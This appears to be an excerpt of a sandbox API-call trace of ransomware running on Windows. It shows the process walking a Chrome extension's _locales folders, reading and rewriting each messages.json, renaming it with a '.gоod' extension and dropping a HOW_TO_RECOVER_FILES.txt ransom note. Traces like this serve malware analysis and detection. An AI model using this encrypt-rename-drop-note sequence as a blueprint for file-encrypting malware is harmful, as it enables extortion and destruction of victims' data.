[0231.258] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0231.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0231.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0231.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0231.258] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", lpFilePart=0x0) returned 0x7b [0231.258] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5521bc05, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5521e318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5521e318, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0231.258] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5521bc05, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5521e318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5521e318, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.258] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5521e318, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55220a08, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0231.259] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5521e318, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55220a08, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0231.259] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0231.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0231.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0231.259] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json", lpFilePart=0x0) returned 0x89 [0231.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0231.259] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37215d8 | out: lpFileInformation=0x37215d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5521e318, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55220a08, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xea)) returned 1 [0231.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0231.259] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json", lpFilePart=0x0) returned 0x89 [0231.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0231.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.259] GetFileType (hFile=0x834) returned 0x1 [0231.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0231.260] GetFileType (hFile=0x834) returned 0x1 [0231.260] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xea [0231.260] ReadFile (in: hFile=0x834, lpBuffer=0x3721a80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3721a80*, lpNumberOfBytesRead=0x1f6e7648*=0xea, lpOverlapped=0x0) returned 1 [0231.260] CloseHandle (hObject=0x834) returned 1 [0232.986] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json", lpFilePart=0x0) returned 0x89 [0232.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0232.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.987] GetFileType (hFile=0x630) returned 0x1 [0232.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0232.987] GetFileType (hFile=0x630) returned 0x1 [0232.987] WriteFile (in: hFile=0x630, lpBuffer=0x37588e8*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x37588e8*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0232.988] CloseHandle (hObject=0x630) returned 1 [0232.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json", lpFilePart=0x0) returned 0x89 [0232.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0232.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0232.988] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5521e318, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55220a08, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x87154743, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0232.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0232.988] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.gоod")) returned 1 [0232.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0232.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0232.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0233.151] GetFileType (hFile=0x768) returned 0x1 [0233.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0233.151] GetFileType (hFile=0x768) returned 0x1 [0233.152] WriteFile (in: hFile=0x768, lpBuffer=0x3932d40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3932d40*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0233.153] CloseHandle (hObject=0x768) returned 1 [0233.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0233.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", lpFilePart=0x0) returned 0x7b [0233.153] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5522cd72, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231ba1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55231ba1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0233.154] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5522cd72, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231ba1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55231ba1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.154] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5522f48b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231b78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0234.340] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0234.340] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0234.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0234.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0234.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0234.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", lpFilePart=0x0) returned 0x7b [0234.348] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5522cd72, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231ba1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55231ba1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0234.348] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5522cd72, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231ba1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55231ba1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.348] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5522f48b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231b78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0234.348] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5522f48b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231b78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0234.348] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0234.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0234.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0234.349] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json", lpFilePart=0x0) returned 0x89 [0234.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0234.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3b6d6d0 | out: lpFileInformation=0x3b6d6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5522f48b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231b78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x112)) returned 1 [0234.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0234.349] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json", lpFilePart=0x0) returned 0x89 [0234.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0234.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0234.349] GetFileType (hFile=0x834) returned 0x1 [0234.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0234.349] GetFileType (hFile=0x834) returned 0x1 [0234.349] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0x112 [0234.350] ReadFile (in: hFile=0x834, lpBuffer=0x3b6dba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3b6dba0*, lpNumberOfBytesRead=0x1f6e7648*=0x112, lpOverlapped=0x0) returned 1 [0234.351] CloseHandle (hObject=0x834) returned 1 [0234.386] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json", lpFilePart=0x0) returned 0x89 [0234.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0234.386] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0234.387] GetFileType (hFile=0x834) returned 0x1 [0234.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0234.387] GetFileType (hFile=0x834) returned 0x1 [0234.400] WriteFile (in: hFile=0x834, lpBuffer=0x3be55e8*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3be55e8*, lpNumberOfBytesWritten=0x1f6e7558*=0x120, lpOverlapped=0x0) returned 1 [0234.401] CloseHandle (hObject=0x834) returned 1 [0234.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json", lpFilePart=0x0) returned 0x89 [0234.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0234.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0234.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5522f48b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231b78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x87ec85a8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0234.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0234.401] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), 